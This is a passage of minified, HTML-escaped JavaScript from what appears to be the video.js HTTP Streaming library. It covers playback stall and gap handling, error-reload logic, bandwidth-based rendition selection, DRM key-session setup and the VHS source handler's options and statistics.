setSeekingHandlers(&quot;off&quot;)},this.watchForBadSeeking_=function(){_this.clearSeekingAppendCheck_(),setSeekingHandlers(&quot;on&quot;)},this.tech_.on(&quot;seeked&quot;,this.clearSeekingAppendCheck_),this.tech_.on(&quot;seeking&quot;,this.watchForBadSeeking_),this.tech_.on(&quot;waiting&quot;,waitingHandler),this.tech_.on(timerCancelEvents,cancelTimerHandler),this.tech_.on(&quot;canplay&quot;,canPlayHandler),this.tech_.one(&quot;play&quot;,playHandler),this.dispose=function(){_this.clearSeekingAppendCheck_(),_this.logger_(&quot;dispose&quot;),_this.tech_.off(&quot;waiting&quot;,waitingHandler),_this.tech_.off(timerCancelEvents,cancelTimerHandler),_this.tech_.off(&quot;canplay&quot;,canPlayHandler),_this.tech_.off(&quot;play&quot;,playHandler),_this.tech_.off(&quot;seeking&quot;,_this.watchForBadSeeking_),_this.tech_.off(&quot;seeked&quot;,_this.clearSeekingAppendCheck_),loaderTypes.forEach((function(type){mpc[type+&quot;SegmentLoader_&quot;].off(&quot;appendsdone&quot;,loaderChecks[type].updateend),mpc[type+&quot;SegmentLoader_&quot;].off(&quot;playlistupdate&quot;,loaderChecks[type].reset),_this.tech_.off([&quot;seeked&quot;,&quot;seeking&quot;],loaderChecks[type].reset)})),_this.checkCurrentTimeTimeout_&amp;&amp;window.clearTimeout(_this.checkCurrentTimeTimeout_),_this.cancelTimer_()}}var _proto=PlaybackWatcher.prototype;return _proto.monitorCurrentTime_=function(){this.checkCurrentTime_(),this.checkCurrentTimeTimeout_&amp;&amp;window.clearTimeout(this.checkCurrentTimeTimeout_),this.checkCurrentTimeTimeout_=window.setTimeout(this.monitorCurrentTime_.bind(this),250)},_proto.resetSegmentDownloads_=function(type){var loader=this.masterPlaylistController_[type+&quot;SegmentLoader_&quot;];this[type+&quot;StalledDownloads_&quot;]&gt;0&amp;&amp;this.logger_(&quot;resetting possible stalled download count for &quot;+type+&quot; loader&quot;),this[type+&quot;StalledDownloads_&quot;]=0,this[type+&quot;Buffered_&quot;]=loader.buffered_()},_proto.checkSegmentDownloads_=function(type){var mpc=this.masterPlaylistController_,loader=mpc[type+&quot;SegmentLoader_&quot;],buffered=loader.buffered_(),isBufferedDifferent=function(a,b){if(a===b)return!1;if(!a&amp;&amp;b||!b&amp;&amp;a)return!0;if(a.length!==b.length)return!0;for(var i=0;i&lt;a.length;i++)if(a.start(i)!==b.start(i)||a.end(i)!==b.end(i))return!0;return!1}(this[type+&quot;Buffered_&quot;],buffered);this[type+&quot;Buffered_&quot;]=buffered,isBufferedDifferent?this.resetSegmentDownloads_(type):(this[type+&quot;StalledDownloads_&quot;]++,this.logger_(&quot;found #&quot;+this[type+&quot;StalledDownloads_&quot;]+&quot; &quot;+type+&quot; appends that did not increase buffer (possible stalled download)&quot;,{playlistId:loader.playlist_&amp;&amp;loader.playlist_.id,buffered:timeRangesToArray(buffered)}),this[type+&quot;StalledDownloads_&quot;]&lt;10||(this.logger_(type+&quot; loader stalled download exclusion&quot;),this.resetSegmentDownloads_(type),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-&quot;+type+&quot;-download-exclusion&quot;}),&quot;subtitle&quot;!==type&amp;&amp;mpc.blacklistCurrentPlaylist({message:&quot;Excessive &quot;+type+&quot; segment downloading detected.&quot;},1/0)))},_proto.checkCurrentTime_=function(){if(!this.tech_.paused()&amp;&amp;!this.tech_.seeking()){var currentTime=this.tech_.currentTime(),buffered=this.tech_.buffered();if(this.lastRecordedTime===currentTime&amp;&amp;(!buffered.length||currentTime+.1&gt;=buffered.end(buffered.length-1)))return this.techWaiting_();this.consecutiveUpdates&gt;=5&amp;&amp;currentTime===this.lastRecordedTime?(this.consecutiveUpdates++,this.waiting_()):currentTime===this.lastRecordedTime?this.consecutiveUpdates++:(this.consecutiveUpdates=0,this.lastRecordedTime=currentTime)}},_proto.cancelTimer_=function(){this.consecutiveUpdates=0,this.timer_&amp;&amp;(this.logger_(&quot;cancelTimer_&quot;),clearTimeout(this.timer_)),this.timer_=null},_proto.fixesBadSeeks_=function(){if(!this.tech_.seeking())return!1;var seekTo,seekable=this.seekable(),currentTime=this.tech_.currentTime();this.afterSeekableWindow_(seekable,currentTime,this.media(),this.allowSeeksWithinUnsafeLiveWindow)&amp;&amp;(seekTo=seekable.end(seekable.length-1));if(this.beforeSeekableWindow_(seekable,currentTime)){var seekableStart=seekable.start(0);seekTo=seekableStart+(seekableStart===seekable.end(0)?0:.1)}if(void 0!==seekTo)return this.logger_(&quot;Trying to seek outside of seekable at time &quot;+currentTime+&quot; with seekable range &quot;+printableRange(seekable)+&quot;. Seeking to &quot;+seekTo+&quot;.&quot;),this.tech_.setCurrentTime(seekTo),!0;for(var sourceUpdater=this.masterPlaylistController_.sourceUpdater_,buffered=this.tech_.buffered(),audioBuffered=sourceUpdater.audioBuffer?sourceUpdater.audioBuffered():null,videoBuffered=sourceUpdater.videoBuffer?sourceUpdater.videoBuffered():null,media=this.media(),minAppendedDuration=media.partTargetDuration?media.partTargetDuration:2*(media.targetDuration-.03333333333333333),bufferedToCheck=[audioBuffered,videoBuffered],i=0;i&lt;bufferedToCheck.length;i++){if(bufferedToCheck[i])if(timeAheadOf(bufferedToCheck[i],currentTime)&lt;minAppendedDuration)return!1}var nextRange=findNextRange(buffered,currentTime);return 0!==nextRange.length&amp;&amp;(seekTo=nextRange.start(0)+.1,this.logger_(&quot;Buffered region starts (&quot;+nextRange.start(0)+&quot;)  just beyond seek point (&quot;+currentTime+&quot;). Seeking to &quot;+seekTo+&quot;.&quot;),this.tech_.setCurrentTime(seekTo),!0)},_proto.waiting_=function(){if(!this.techWaiting_()){var currentTime=this.tech_.currentTime(),buffered=this.tech_.buffered(),currentRange=findRange(buffered,currentTime);return currentRange.length&amp;&amp;currentTime+3&lt;=currentRange.end(0)?(this.cancelTimer_(),this.tech_.setCurrentTime(currentTime),this.logger_(&quot;Stopped at &quot;+currentTime+&quot; while inside a buffered region [&quot;+currentRange.start(0)+&quot; -&gt; &quot;+currentRange.end(0)+&quot;]. Attempting to resume playback by seeking to the current time.&quot;),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-unknown-waiting&quot;}),void this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-unknown-waiting&quot;})):void 0}},_proto.techWaiting_=function(){var seekable=this.seekable(),currentTime=this.tech_.currentTime();if(this.tech_.seeking()||null!==this.timer_)return!0;if(this.beforeSeekableWindow_(seekable,currentTime)){var livePoint=seekable.end(seekable.length-1);return this.logger_(&quot;Fell out of live window at time &quot;+currentTime+&quot;. Seeking to live point (seekable end) &quot;+livePoint),this.cancelTimer_(),this.tech_.setCurrentTime(livePoint),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-live-resync&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-live-resync&quot;}),!0}var sourceUpdater=this.tech_.vhs.masterPlaylistController_.sourceUpdater_,buffered=this.tech_.buffered();if(this.videoUnderflow_({audioBuffered:sourceUpdater.audioBuffered(),videoBuffered:sourceUpdater.videoBuffered(),currentTime:currentTime}))return this.cancelTimer_(),this.tech_.setCurrentTime(currentTime),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-video-underflow&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-video-underflow&quot;}),!0;var nextRange=findNextRange(buffered,currentTime);if(nextRange.length&gt;0){var difference=nextRange.start(0)-currentTime;return this.logger_(&quot;Stopped at &quot;+currentTime+&quot;, setting timer for &quot;+difference+&quot;, seeking to &quot;+nextRange.start(0)),this.cancelTimer_(),this.timer_=setTimeout(this.skipTheGap_.bind(this),1e3*difference,currentTime),!0}return!1},_proto.afterSeekableWindow_=function(seekable,currentTime,playlist,allowSeeksWithinUnsafeLiveWindow){if(void 0===allowSeeksWithinUnsafeLiveWindow&amp;&amp;(allowSeeksWithinUnsafeLiveWindow=!1),!seekable.length)return!1;var allowedEnd=seekable.end(seekable.length-1)+.1;return!playlist.endList&amp;&amp;allowSeeksWithinUnsafeLiveWindow&amp;&amp;(allowedEnd=seekable.end(seekable.length-1)+3*playlist.targetDuration),currentTime&gt;allowedEnd},_proto.beforeSeekableWindow_=function(seekable,currentTime){return!!(seekable.length&amp;&amp;seekable.start(0)&gt;0&amp;&amp;currentTime&lt;seekable.start(0)-this.liveRangeSafeTimeDelta)},_proto.videoUnderflow_=function(_ref){var videoBuffered=_ref.videoBuffered,audioBuffered=_ref.audioBuffered,currentTime=_ref.currentTime;if(videoBuffered){var gap;if(videoBuffered.length&amp;&amp;audioBuffered.length){var lastVideoRange=findRange(videoBuffered,currentTime-3),videoRange=findRange(videoBuffered,currentTime),audioRange=findRange(audioBuffered,currentTime);audioRange.length&amp;&amp;!videoRange.length&amp;&amp;lastVideoRange.length&amp;&amp;(gap={start:lastVideoRange.end(0),end:audioRange.end(0)})}else{findNextRange(videoBuffered,currentTime).length||(gap=this.gapFromVideoUnderflow_(videoBuffered,currentTime))}return!!gap&amp;&amp;(this.logger_(&quot;Encountered a gap in video from &quot;+gap.start+&quot; to &quot;+gap.end+&quot;. Seeking to current time &quot;+currentTime),!0)}},_proto.skipTheGap_=function(scheduledCurrentTime){var buffered=this.tech_.buffered(),currentTime=this.tech_.currentTime(),nextRange=findNextRange(buffered,currentTime);this.cancelTimer_(),0!==nextRange.length&amp;&amp;currentTime===scheduledCurrentTime&amp;&amp;(this.logger_(&quot;skipTheGap_:&quot;,&quot;currentTime:&quot;,currentTime,&quot;scheduled currentTime:&quot;,scheduledCurrentTime,&quot;nextRange start:&quot;,nextRange.start(0)),this.tech_.setCurrentTime(nextRange.start(0)+.03333333333333333),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-gap-skip&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-gap-skip&quot;}))},_proto.gapFromVideoUnderflow_=function(buffered,currentTime){for(var gaps=function(buffered){if(buffered.length&lt;2)return videojs.createTimeRanges();for(var ranges=[],i=1;i&lt;buffered.length;i++){var start=buffered.end(i-1),end=buffered.start(i);ranges.push([start,end])}return videojs.createTimeRanges(ranges)}(buffered),i=0;i&lt;gaps.length;i++){var start=gaps.start(i),end=gaps.end(i);if(currentTime-start&lt;4&amp;&amp;currentTime-start&gt;2)return{start:start,end:end}}return null},PlaybackWatcher}(),defaultOptions={errorInterval:30,getSource:function(next){return next(this.tech({IWillNotUseThisInPlugins:!0}).currentSource_||this.currentSource())}},initPlugin=function initPlugin(player,options){var lastCalled=0,seekTo=0,localOptions=videojs.mergeOptions(defaultOptions,options);player.ready((function(){player.trigger({type:&quot;usage&quot;,name:&quot;vhs-error-reload-initialized&quot;}),player.trigger({type:&quot;usage&quot;,name:&quot;hls-error-reload-initialized&quot;})}));var loadedMetadataHandler=function(){seekTo&amp;&amp;player.currentTime(seekTo)},setSource=function(sourceObj){null!=sourceObj&amp;&amp;(seekTo=player.duration()!==1/0&amp;&amp;player.currentTime()||0,player.one(&quot;loadedmetadata&quot;,loadedMetadataHandler),player.src(sourceObj),player.trigger({type:&quot;usage&quot;,name:&quot;vhs-error-reload&quot;}),player.trigger({type:&quot;usage&quot;,name:&quot;hls-error-reload&quot;}),player.play())},errorHandler=function(){return Date.now()-lastCalled&lt;1e3*localOptions.errorInterval?(player.trigger({type:&quot;usage&quot;,name:&quot;vhs-error-reload-canceled&quot;}),void player.trigger({type:&quot;usage&quot;,name:&quot;hls-error-reload-canceled&quot;})):localOptions.getSource&amp;&amp;&quot;function&quot;==typeof localOptions.getSource?(lastCalled=Date.now(),localOptions.getSource.call(player,setSource)):void videojs.log.error(&quot;ERROR: reloadSourceOnError - The option getSource must be a function!&quot;)},cleanupEvents=function cleanupEvents(){player.off(&quot;loadedmetadata&quot;,loadedMetadataHandler),player.off(&quot;error&quot;,errorHandler),player.off(&quot;dispose&quot;,cleanupEvents)};player.on(&quot;error&quot;,errorHandler),player.on(&quot;dispose&quot;,cleanupEvents),player.reloadSourceOnError=function(newOptions){cleanupEvents(),initPlugin(player,newOptions)}},Vhs={PlaylistLoader:PlaylistLoader,Playlist:Playlist,utils:utils,STANDARD_PLAYLIST_SELECTOR:lastBandwidthSelector,INITIAL_PLAYLIST_SELECTOR:function(){var _this=this,playlists=this.playlists.master.playlists.filter(Playlist.isEnabled);return stableSort(playlists,(function(a,b){return comparePlaylistBandwidth(a,b)})),playlists.filter((function(playlist){return!!codecsForPlaylist(_this.playlists.master,playlist).video}))[0]||null},lastBandwidthSelector:lastBandwidthSelector,movingAverageBandwidthSelector:function(decay){var average=-1,lastSystemBandwidth=-1;if(decay&lt;0||decay&gt;1)throw new Error(&quot;Moving average bandwidth decay must be between 0 and 1.&quot;);return function(){var pixelRatio=this.useDevicePixelRatio&amp;&amp;window.devicePixelRatio||1;return average&lt;0&amp;&amp;(average=this.systemBandwidth,lastSystemBandwidth=this.systemBandwidth),this.systemBandwidth&gt;0&amp;&amp;this.systemBandwidth!==lastSystemBandwidth&amp;&amp;(average=decay*this.systemBandwidth+(1-decay)*average,lastSystemBandwidth=this.systemBandwidth),simpleSelector(this.playlists.master,average,parseInt(safeGetComputedStyle(this.tech_.el(),&quot;width&quot;),10)*pixelRatio,parseInt(safeGetComputedStyle(this.tech_.el(),&quot;height&quot;),10)*pixelRatio,this.limitRenditionByPlayerDimensions,this.masterPlaylistController_)}},comparePlaylistBandwidth:comparePlaylistBandwidth,comparePlaylistResolution:function(left,right){var leftWidth,rightWidth;return left.attributes.RESOLUTION&amp;&amp;left.attributes.RESOLUTION.width&amp;&amp;(leftWidth=left.attributes.RESOLUTION.width),leftWidth=leftWidth||window.Number.MAX_VALUE,right.attributes.RESOLUTION&amp;&amp;right.attributes.RESOLUTION.width&amp;&amp;(rightWidth=right.attributes.RESOLUTION.width),leftWidth===(rightWidth=rightWidth||window.Number.MAX_VALUE)&amp;&amp;left.attributes.BANDWIDTH&amp;&amp;right.attributes.BANDWIDTH?left.attributes.BANDWIDTH-right.attributes.BANDWIDTH:leftWidth-rightWidth},xhr:xhrFactory()};Object.keys(Config).forEach((function(prop){Object.defineProperty(Vhs,prop,{get:function(){return videojs.log.warn(&quot;using Vhs.&quot;+prop+&quot; is UNSAFE be sure you know what you are doing&quot;),Config[prop]},set:function(value){videojs.log.warn(&quot;using Vhs.&quot;+prop+&quot; is UNSAFE be sure you know what you are doing&quot;),&quot;number&quot;!=typeof value||value&lt;0?videojs.log.warn(&quot;value of Vhs.&quot;+prop+&quot; must be greater than or equal to 0&quot;):Config[prop]=value}})}));var handleVhsMediaChange=function(qualityLevels,playlistLoader){for(var newPlaylist=playlistLoader.media(),selectedIndex=-1,i=0;i&lt;qualityLevels.length;i++)if(qualityLevels[i].id===newPlaylist.id){selectedIndex=i;break}qualityLevels.selectedIndex_=selectedIndex,qualityLevels.trigger({selectedIndex:selectedIndex,type:&quot;change&quot;})};Vhs.canPlaySource=function(){return videojs.log.warn(&quot;HLS is no longer a tech. Please remove it from your player&#039;s techOrder.&quot;)};var waitForKeySessionCreation=function(_ref){var player=_ref.player,sourceKeySystems=_ref.sourceKeySystems,audioMedia=_ref.audioMedia,mainPlaylists=_ref.mainPlaylists;if(!player.eme.initializeMediaKeys)return Promise.resolve();var keySystemsOptionsArr=function(playlists,keySystems){return playlists.reduce((function(keySystemsArr,playlist){if(!playlist.contentProtection)return keySystemsArr;var keySystemsOptions=keySystems.reduce((function(keySystemsObj,keySystem){var keySystemOptions=playlist.contentProtection[keySystem];return keySystemOptions&amp;&amp;keySystemOptions.pssh&amp;&amp;(keySystemsObj[keySystem]={pssh:keySystemOptions.pssh}),keySystemsObj}),{});return Object.keys(keySystemsOptions).length&amp;&amp;keySystemsArr.push(keySystemsOptions),keySystemsArr}),[])}(audioMedia?mainPlaylists.concat([audioMedia]):mainPlaylists,Object.keys(sourceKeySystems)),initializationFinishedPromises=[],keySessionCreatedPromises=[];return keySystemsOptionsArr.forEach((function(keySystemsOptions){keySessionCreatedPromises.push(new Promise((function(resolve,reject){player.tech_.one(&quot;keysessioncreated&quot;,resolve)}))),initializationFinishedPromises.push(new Promise((function(resolve,reject){player.eme.initializeMediaKeys({keySystems:keySystemsOptions},(function(err){err?reject(err):resolve()}))})))})),Promise.race([Promise.all(initializationFinishedPromises),Promise.race(keySessionCreatedPromises)])},setupEmeOptions=function(_ref2){var player=_ref2.player,sourceOptions=function(keySystemOptions,mainPlaylist,audioPlaylist){if(!keySystemOptions)return keySystemOptions;var codecs={};mainPlaylist&amp;&amp;mainPlaylist.attributes&amp;&amp;mainPlaylist.attributes.CODECS&amp;&amp;(codecs=unwrapCodecList(parseCodecs(mainPlaylist.attributes.CODECS))),audioPlaylist&amp;&amp;audioPlaylist.attributes&amp;&amp;audioPlaylist.attributes.CODECS&amp;&amp;(codecs.audio=audioPlaylist.attributes.CODECS);var videoContentType=getMimeForCodec(codecs.video),audioContentType=getMimeForCodec(codecs.audio),keySystemContentTypes={};for(var keySystem in keySystemOptions)keySystemContentTypes[keySystem]={},audioContentType&amp;&amp;(keySystemContentTypes[keySystem].audioContentType=audioContentType),videoContentType&amp;&amp;(keySystemContentTypes[keySystem].videoContentType=videoContentType),mainPlaylist.contentProtection&amp;&amp;mainPlaylist.contentProtection[keySystem]&amp;&amp;mainPlaylist.contentProtection[keySystem].pssh&amp;&amp;(keySystemContentTypes[keySystem].pssh=mainPlaylist.contentProtection[keySystem].pssh),&quot;string&quot;==typeof keySystemOptions[keySystem]&amp;&amp;(keySystemContentTypes[keySystem].url=keySystemOptions[keySystem]);return videojs.mergeOptions(keySystemOptions,keySystemContentTypes)}(_ref2.sourceKeySystems,_ref2.media,_ref2.audioMedia);return!!sourceOptions&amp;&amp;(player.currentSource().keySystems=sourceOptions,!(sourceOptions&amp;&amp;!player.eme)||(videojs.log.warn(&quot;DRM encrypted source cannot be decrypted without a DRM plugin&quot;),!1))},getVhsLocalStorage=function(){if(!window.localStorage)return null;var storedObject=window.localStorage.getItem(&quot;videojs-vhs&quot;);if(!storedObject)return null;try{return JSON.parse(storedObject)}catch(e){return null}};Vhs.supportsNativeHls=function(){if(!document||!document.createElement)return!1;var video=document.createElement(&quot;video&quot;);if(!videojs.getTech(&quot;Html5&quot;).isSupported())return!1;return[&quot;application/vnd.apple.mpegurl&quot;,&quot;audio/mpegurl&quot;,&quot;audio/x-mpegurl&quot;,&quot;application/x-mpegurl&quot;,&quot;video/x-mpegurl&quot;,&quot;video/mpegurl&quot;,&quot;application/mpegurl&quot;].some((function(canItPlay){return/maybe|probably/i.test(video.canPlayType(canItPlay))}))}(),Vhs.supportsNativeDash=!!(document&amp;&amp;document.createElement&amp;&amp;videojs.getTech(&quot;Html5&quot;).isSupported())&amp;&amp;/maybe|probably/i.test(document.createElement(&quot;video&quot;).canPlayType(&quot;application/dash+xml&quot;)),Vhs.supportsTypeNatively=function(type){return&quot;hls&quot;===type?Vhs.supportsNativeHls:&quot;dash&quot;===type&amp;&amp;Vhs.supportsNativeDash},Vhs.isSupported=function(){return videojs.log.warn(&quot;HLS is no longer a tech. Please remove it from your player&#039;s techOrder.&quot;)};var VhsHandler=function(_Component){function VhsHandler(source,tech,options){var _this;if(_this=_Component.call(this,tech,videojs.mergeOptions(options.hls,options.vhs))||this,options.hls&amp;&amp;Object.keys(options.hls).length&amp;&amp;videojs.log.warn(&quot;Using hls options is deprecated. Use vhs instead.&quot;),&quot;number&quot;==typeof options.initialBandwidth&amp;&amp;(_this.options_.bandwidth=options.initialBandwidth),_this.logger_=logger(&quot;VhsHandler&quot;),tech.options_&amp;&amp;tech.options_.playerId){var _player=videojs(tech.options_.playerId);_player.hasOwnProperty(&quot;hls&quot;)||Object.defineProperty(_player,&quot;hls&quot;,{get:function(){return videojs.log.warn(&quot;player.hls is deprecated. Use player.tech().vhs instead.&quot;),tech.trigger({type:&quot;usage&quot;,name:&quot;hls-player-access&quot;}),assertThisInitialized(_this)},configurable:!0}),_player.hasOwnProperty(&quot;vhs&quot;)||Object.defineProperty(_player,&quot;vhs&quot;,{get:function(){return videojs.log.warn(&quot;player.vhs is deprecated. Use player.tech().vhs instead.&quot;),tech.trigger({type:&quot;usage&quot;,name:&quot;vhs-player-access&quot;}),assertThisInitialized(_this)},configurable:!0}),_player.hasOwnProperty(&quot;dash&quot;)||Object.defineProperty(_player,&quot;dash&quot;,{get:function(){return videojs.log.warn(&quot;player.dash is deprecated. Use player.tech().vhs instead.&quot;),assertThisInitialized(_this)},configurable:!0}),_this.player_=_player}if(_this.tech_=tech,_this.source_=source,_this.stats={},_this.ignoreNextSeekingEvent_=!1,_this.setOptions_(),_this.options_.overrideNative&amp;&amp;tech.overrideNativeAudioTracks&amp;&amp;tech.overrideNativeVideoTracks)tech.overrideNativeAudioTracks(!0),tech.overrideNativeVideoTracks(!0);else if(_this.options_.overrideNative&amp;&amp;(tech.featuresNativeVideoTracks||tech.featuresNativeAudioTracks))throw new Error(&quot;Overriding native HLS requires emulated tracks. See https://git.io/vMpjB&quot;);return _this.on(document,[&quot;fullscreenchange&quot;,&quot;webkitfullscreenchange&quot;,&quot;mozfullscreenchange&quot;,&quot;MSFullscreenChange&quot;],(function(event){var fullscreenElement=document.fullscreenElement||document.webkitFullscreenElement||document.mozFullScreenElement||document.msFullscreenElement;fullscreenElement&amp;&amp;fullscreenElement.contains(_this.tech_.el())?_this.masterPlaylistController_.fastQualityChange_():_this.masterPlaylistController_.checkABR_()})),_this.on(_this.tech_,&quot;seeking&quot;,(function(){this.ignoreNextSeekingEvent_?this.ignoreNextSeekingEvent_=!1:this.setCurrentTime(this.tech_.currentTime())})),_this.on(_this.tech_,&quot;error&quot;,(function(){this.tech_.error()&amp;&amp;this.masterPlaylistController_&amp;&amp;this.masterPlaylistController_.pauseLoading()})),_this.on(_this.tech_,&quot;play&quot;,_this.play),_this}inheritsLoose(VhsHandler,_Component);var _proto=VhsHandler.prototype;return _proto.setOptions_=function(){var _this2=this;if(this.options_.withCredentials=this.options_.withCredentials||!1,this.options_.handleManifestRedirects=!1!==this.options_.handleManifestRedirects,this.options_.limitRenditionByPlayerDimensions=!1!==this.options_.limitRenditionByPlayerDimensions,this.options_.useDevicePixelRatio=this.options_.useDevicePixelRatio||!1,this.options_.smoothQualityChange=this.options_.smoothQualityChange||!1,this.options_.useBandwidthFromLocalStorage=void 0!==this.source_.useBandwidthFromLocalStorage?this.source_.useBandwidthFromLocalStorage:this.options_.useBandwidthFromLocalStorage||!1,this.options_.useNetworkInformationApi=this.options_.useNetworkInformationApi||!1,this.options_.customTagParsers=this.options_.customTagParsers||[],this.options_.customTagMappers=this.options_.customTagMappers||[],this.options_.cacheEncryptionKeys=this.options_.cacheEncryptionKeys||!1,&quot;number&quot;!=typeof this.options_.blacklistDuration&amp;&amp;(this.options_.blacklistDuration=300),&quot;number&quot;!=typeof this.options_.bandwidth&amp;&amp;this.options_.useBandwidthFromLocalStorage){var storedObject=getVhsLocalStorage();storedObject&amp;&amp;storedObject.bandwidth&amp;&amp;(this.options_.bandwidth=storedObject.bandwidth,this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-bandwidth-from-local-storage&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-bandwidth-from-local-storage&quot;})),storedObject&amp;&amp;storedObject.throughput&amp;&amp;(this.options_.throughput=storedObject.throughput,this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-throughput-from-local-storage&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-throughput-from-local-storage&quot;}))}&quot;number&quot;!=typeof this.options_.bandwidth&amp;&amp;(this.options_.bandwidth=Config.INITIAL_BANDWIDTH),this.options_.enableLowInitialPlaylist=this.options_.enableLowInitialPlaylist&amp;&amp;this.options_.bandwidth===Config.INITIAL_BANDWIDTH,[&quot;withCredentials&quot;,&quot;useDevicePixelRatio&quot;,&quot;limitRenditionByPlayerDimensions&quot;,&quot;bandwidth&quot;,&quot;smoothQualityChange&quot;,&quot;customTagParsers&quot;,&quot;customTagMappers&quot;,&quot;handleManifestRedirects&quot;,&quot;cacheEncryptionKeys&quot;,&quot;playlistSelector&quot;,&quot;initialPlaylistSelector&quot;,&quot;experimentalBufferBasedABR&quot;,&quot;liveRangeSafeTimeDelta&quot;,&quot;experimentalLLHLS&quot;,&quot;useNetworkInformationApi&quot;,&quot;experimentalExactManifestTimings&quot;,&quot;experimentalLeastPixelDiffSelector&quot;].forEach((function(option){void 0!==_this2.source_[option]&amp;&amp;(_this2.options_[option]=_this2.source_[option])})),this.limitRenditionByPlayerDimensions=this.options_.limitRenditionByPlayerDimensions,this.useDevicePixelRatio=this.options_.useDevicePixelRatio},_proto.src=function(_src,type){var _this3=this;if(_src){var dataUri;this.setOptions_(),this.options_.src=0===(dataUri=this.source_.src).toLowerCase().indexOf(&quot;data:application/vnd.videojs.vhs+json,&quot;)?JSON.parse(dataUri.substring(dataUri.indexOf(&quot;,&quot;)+1)):dataUri,this.options_.tech=this.tech_,this.options_.externVhs=Vhs,this.options_.sourceType=simpleTypeFromSourceType(type),this.options_.seekTo=function(time){_this3.tech_.setCurrentTime(time)},this.options_.smoothQualityChange&amp;&amp;videojs.log.warn(&quot;smoothQualityChange is deprecated and will be removed in the next major version&quot;),this.masterPlaylistController_=new MasterPlaylistController(this.options_);var playbackWatcherOptions=videojs.mergeOptions({liveRangeSafeTimeDelta:.1},this.options_,{seekable:function(){return _this3.seekable()},media:function(){return _this3.masterPlaylistController_.media()},masterPlaylistController:this.masterPlaylistController_});this.playbackWatcher_=new PlaybackWatcher(playbackWatcherOptions),this.masterPlaylistController_.on(&quot;error&quot;,(function(){var player=videojs.players[_this3.tech_.options_.playerId],error=_this3.masterPlaylistController_.error;&quot;object&quot;!=typeof error||error.code?&quot;string&quot;==typeof error&amp;&amp;(error={message:error,code:3}):error.code=3,player.error(error)}));var defaultSelector=this.options_.experimentalBufferBasedABR?Vhs.movingAverageBandwidthSelector(.55):Vhs.STANDARD_PLAYLIST_SELECTOR;this.masterPlaylistController_.selectPlaylist=this.selectPlaylist?this.selectPlaylist.bind(this):defaultSelector.bind(this),this.masterPlaylistController_.selectInitialPlaylist=Vhs.INITIAL_PLAYLIST_SELECTOR.bind(this),this.playlists=this.masterPlaylistController_.masterPlaylistLoader_,this.mediaSource=this.masterPlaylistController_.mediaSource,Object.defineProperties(this,{selectPlaylist:{get:function(){return this.masterPlaylistController_.selectPlaylist},set:function(selectPlaylist){this.masterPlaylistController_.selectPlaylist=selectPlaylist.bind(this)}},throughput:{get:function(){return this.masterPlaylistController_.mainSegmentLoader_.throughput.rate},set:function(throughput){this.masterPlaylistController_.mainSegmentLoader_.throughput.rate=throughput,this.masterPlaylistController_.mainSegmentLoader_.throughput.count=1}},bandwidth:{get:function(){var playerBandwidthEst=this.masterPlaylistController_.mainSegmentLoader_.bandwidth,networkInformation=window.navigator.connection||window.navigator.mozConnection||window.navigator.webkitConnection;if(this.options_.useNetworkInformationApi&amp;&amp;networkInformation){var networkInfoBandwidthEstBitsPerSec=1e3*networkInformation.downlink*1e3;playerBandwidthEst=networkInfoBandwidthEstBitsPerSec&gt;=1e7&amp;&amp;playerBandwidthEst&gt;=1e7?Math.max(playerBandwidthEst,networkInfoBandwidthEstBitsPerSec):networkInfoBandwidthEstBitsPerSec}return playerBandwidthEst},set:function(bandwidth){this.masterPlaylistController_.mainSegmentLoader_.bandwidth=bandwidth,this.masterPlaylistController_.mainSegmentLoader_.throughput={rate:0,count:0}}},systemBandwidth:{get:function(){var invThroughput,invBandwidth=1/(this.bandwidth||1);return invThroughput=this.throughput&gt;0?1/this.throughput:0,Math.floor(1/(invBandwidth+invThroughput))},set:function(){videojs.log.error(&#039;The &quot;systemBandwidth&quot; property is read-only&#039;)}}}),this.options_.bandwidth&amp;&amp;(this.bandwidth=this.options_.bandwidth),this.options_.throughput&amp;&amp;(this.throughput=this.options_.throughput),Object.defineProperties(this.stats,{bandwidth:{get:function(){return _this3.bandwidth||0},enumerable:!0},mediaRequests:{get:function(){return _this3.masterPlaylistController_.mediaRequests_()||0},enumerable:!0},mediaRequestsAborted:{get:function(){return _this3.masterPlaylistController_.mediaRequestsAborted_()||0},enumerable:!0},mediaRequestsTimedout:{get:function(){return _this3.masterPlaylistController_.mediaRequestsTimedout_()||0},enumerable:!0},mediaRequestsErrored:{get:function(){return _this3.masterPlaylistController_.mediaRequestsErrored_()||0},enumerable:!0},mediaTransferDuration:{get:function(){return _this3.masterPlaylistController_.mediaTransferDuration_()||0},enumerable:!0},mediaBytesTransferred:{get:function(){return _this3.masterPlaylistController_.mediaBytesTransferred_()||0},enumerable:!0},mediaSecondsLoaded:{get:function(){return _this3.masterPlaylistController_.mediaSecondsLoaded_()||0},enumerable:!0},mediaAppends:{get:function(){return _this3.masterPlaylistController_.mediaAppends_()||0},enumerable:!0},mainAppendsToLoadedData:{get:function(){return _this3.masterPlaylistController_.mainAppendsToLoadedData_()||0},enumerable:!0},audioAppendsToLoadedData:{get:function(){return _this3.masterPlaylistController_.audioAppendsToLoadedData_()||0},enumerable:!0},appendsToLoadedData:{get:function(){return _this3.masterPlaylistController_.appendsToLoadedData_()||0},enumerable:!0},timeToLoadedData:{get:function(){return _this3.masterPlaylistController_.timeToLoadedData_()||0},enumerable:!0},buffered:{get:function(){return timeRangesToArray(_this3.tech_.buffered())},enumerable:!0},currentTime:{get:function(){return _this3.tech_.currentTime()},enumerable:!0},currentSource:{get:function(){return _this3.tech_.currentSource_},enumerable:!0},currentTech:{get:function(){return _this3.tech_.name_},enumerable:!0},duration:{get:function(){return _this3.tech_.duration()},enumerable:!0},master:{get:function(){return _this3.playlists.master},enumerable:!0},playerDimensions:{get:function(){return 